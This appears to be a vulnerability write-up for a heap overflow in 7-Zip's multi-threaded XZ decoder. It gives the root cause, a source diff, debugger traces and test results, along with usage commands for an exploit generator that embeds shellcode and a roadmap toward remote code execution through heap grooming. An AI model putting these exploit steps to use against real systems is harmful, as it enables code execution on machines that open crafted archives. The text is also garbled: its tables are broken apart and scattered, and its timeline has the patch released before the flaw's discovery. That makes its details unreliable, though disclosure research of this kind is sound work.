
7-Zip XZ Decoder Heap Buffer Overflow - Full analysis, root cause, PoC, and RCE exploitation roadmap
Critical Severity | CVSS: 8.8 (High) | CWE-122: Heap-based Buffer Overflow
Affected: 7-Zip ≤ 26.01 | Patched: 7-Zip 26.02 (2026-06-25)
Discovered & Analyzed by: Li Yuxuan (liyuxuan504-byte) and team
A heap buffer overflow exists in the multi-threaded XZ decoder path of 7-Zip versions ≤ 26.01. A maliciously crafted .xz archive can trigger an out-of-bounds write past the heap-allocated output buffer, leading to:
STATUS_ACCESS_VIOLATION (0xC0000005)The vulnerability resides in MixCoder_Code() in C/XzDec.c, where the SingleBuf (outBuf) branch passes an unchecked destLen2 to the LZMA2 decoder without clamping it against the remaining buffer capacity (outBufSize - outWritten).
Any system or application that uses a vulnerable 7-Zip (or 7z.dll) to extract untrusted .xz files is at risk — the multi-threaded path is enabled by default on multi-core systems.
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(outBuf branch, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← NO boundary clamp
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← can exceed dicBufSize
→ Lzma2Dec_DecodeToDic(...)
→ LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
→ dicPos exceeds dicBufSize → HEAP OVERFLOW
Vulnerable (26.01) — C/XzDec.c ~L606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← raw value, no clamping!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← tracks total but never checks
}
Fixed (26.02) — C/XzDec.c ~L605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NEW boundary check
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // data inconsistency → abort
destLen2 -= p->outWritten; // clamp to remaining capacity!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
The fix is 3 lines. It subtracts p->outWritten (bytes already written to this outBuf) from destLen2 before passing it to the LZMA2 decoder, ensuring the decoder can never write beyond the allocated buffer.
In the single-threaded path, XzUnpacker_Code applies its own unpackSize-based rem clamp before calling MixCoder_Code. This clamp correctly limits output. The multi-threaded SingleBuf path bypasses this clamp because it passes destLenOrig straight through — the upstream clamp is ineffective when destLen is pre-set to the full remaining input size rather than the actual buffer remaining capacity.
The outBuf is allocated on the CRT heap via ISzAlloc_Alloc(allocMid, unpackSize):
unpackSize | Allocator | Exploitability |
|---|---|---|
| ≤ 16 KB |
The most promising exploitation approach:
unpackSize (256–16384 bytes) to trigger LFH allocationnext pointer → achieves arbitrary-alloc primitive| Capability | Status |
|---|---|
| DoS (crash) |
Conventional debuggers (x64dbg, WinDbg) alter process creation behavior. Under a debugger, 7z.dll may never load the multi-threaded XZ path — the process silently falls back to single-threaded mode where the vulnerability does not trigger. The approach required:
tools/)poc/poc-cve-2026-14266-rce.py is a full-featured XZ exploit generator:
# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL
# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL
Tested on: Windows 11 Pro x64 (build 26200) + 7-Zip 26.00
Key insight: All LFH-range (≤16 KB) allocations produce silent overflows — payload data is written onto adjacent heap objects without an immediate crash. This is the prerequisite for RCE exploitation.
From a live x64dbg session (7-Zip 26.00, MT path):
Fault instruction: mov byte ptr [rcx], r11b
Fault address: msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx): 0x12363C50002 = outBuf_base + 0x40002
(2 bytes past the 0x40000-byte outBuf)
Decoder struct (rbx = 0x12363B0BB00):
+0x28: outBuf base = 0x12363C10000
+0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
+0x38: write cursor = 0x40000 (ALREADY FULL when overflow begins)
Call chain:
msvcrt!memcpy
← 7z.dll+0x11EFF5 (LZMA2/XZ decode output copy loop)
← 7z.dll+0x1305D5
← 7z.dll+0x13071B (XZ multi-threaded decode entry)
← ntdll.dll+0x1D141 (thread start)
C/XzDec.c)7z x -mmt=1 <file.xz>0xC0000005 during extraction0xC0000374)unpackSize├── README.md ← This report
├── src-diff/
│ └── XzDec.diff.txt ← 26.01 vs 26.02 MixCoder_Code() diff
├── poc/
│ └── poc-cve-2026-14266-rce.py ← PoC generator (cyclic/shellcode/raw)
├── tools/
│ ├── 04-heap-analyze.ps1 ← x64dbg MCP automation for heap layout
│ ├── 05-mini-debugger.ps1 ← C# Win32 debug API mini-debugger
│ └── 06-guard-dump.ps1 ← Guard-page heap dumper (LFH analysis)
└── docs/
├── 01-crash-point-analysis.md ← Live crash trace (x64dbg)
├── 02-vulnerability-root-cause.md ← Full root cause analysis
└── 03-rce-exploit-plan.md ← RCE exploitation strategy
This report is for educational and defensive security research purposes only. The PoC code is provided to help security researchers and defenders understand the vulnerability and develop detection capabilities. Do not use this code against systems you do not own or have explicit permission to test.
| LFH (Low Fragmentation Heap) |
| ★ Best for RCE — adjacent objects in same bucket |
| 16–64 KB | Segment Heap (Backend) | Possible — free-list corruption |
| ≥ 64 KB | VirtualAlloc (page-aligned) | DoS only — guard page traps overflow |
| ✅ Confirmed, reliable on 7-Zip 26.00 x64 |
| Silent heap overflow (LFH) | ✅ Confirmed — writes past buffer, exit code 2, no crash |
| Controlled payload delivery | ✅ Fully controllable via LZMA2 copy-chunk data |
| Heap layout primitives | ✅ Concept proven — requires target-specific layout tuning |
| Full RCE chain | ❌ In progress — needs heap layout analysis on target |
| Parameter | Description | Recommended |
|---|
--unpack-size | Block declared unpackSize (= outBuf allocation size) | 256–4096 for LFH RCE |
--overflow | Total bytes to write past outBuf | 4096–32768 |
--chunk-size | LZMA2 copy-chunk data size (1–65535) | Must NOT divide unpackSize evenly! Use prime (97) or --force-align-overflow |
--payload-cyclic | Cyclic pattern for offset discovery | Use first, then replace with real payload |
--payload-shellcode | Embed Win x64 WinExec("calc.exe") shellcode | ~276 bytes |
unpackSize | chunk_size | Overflow | Result |
|---|
| 256 KB (0x40000) | 4096 (aligned) | ~32 KB | 0xC0000005 — Access Violation (guard page) |
| 256 KB | 3 (original DoS) | ~30 KB | 0xC0000005 — Access Violation |
| 256 KB | 4096 | ~32 KB | 0xC0000374 — Heap Corruption detected |
| 256 B | 97 | ~1 KB | Exit 2 — Silent overflow! |
| 4 KB | 97 | ~16 KB | Exit 2 — Silent overflow! |
| 16 KB | 97 | ~32 KB | Exit 2 — Silent overflow! |
| Date | Event |
|---|
| 2026-07-24 | Vulnerability discovered and confirmed on 7-Zip 26.00 |
| 2026-07-24 | Crash PoC developed; live debugging confirms heap overflow |
| 2026-07-24 | Root cause identified: missing destLen2 -= outWritten in MixCoder_Code |
| 2026-07-24 | RCE PoC generator developed with LFH exploitation strategy |
| 2026-07-25 | Full analysis report published |
| 2026-06-25 | 7-Zip 26.02 released with fix |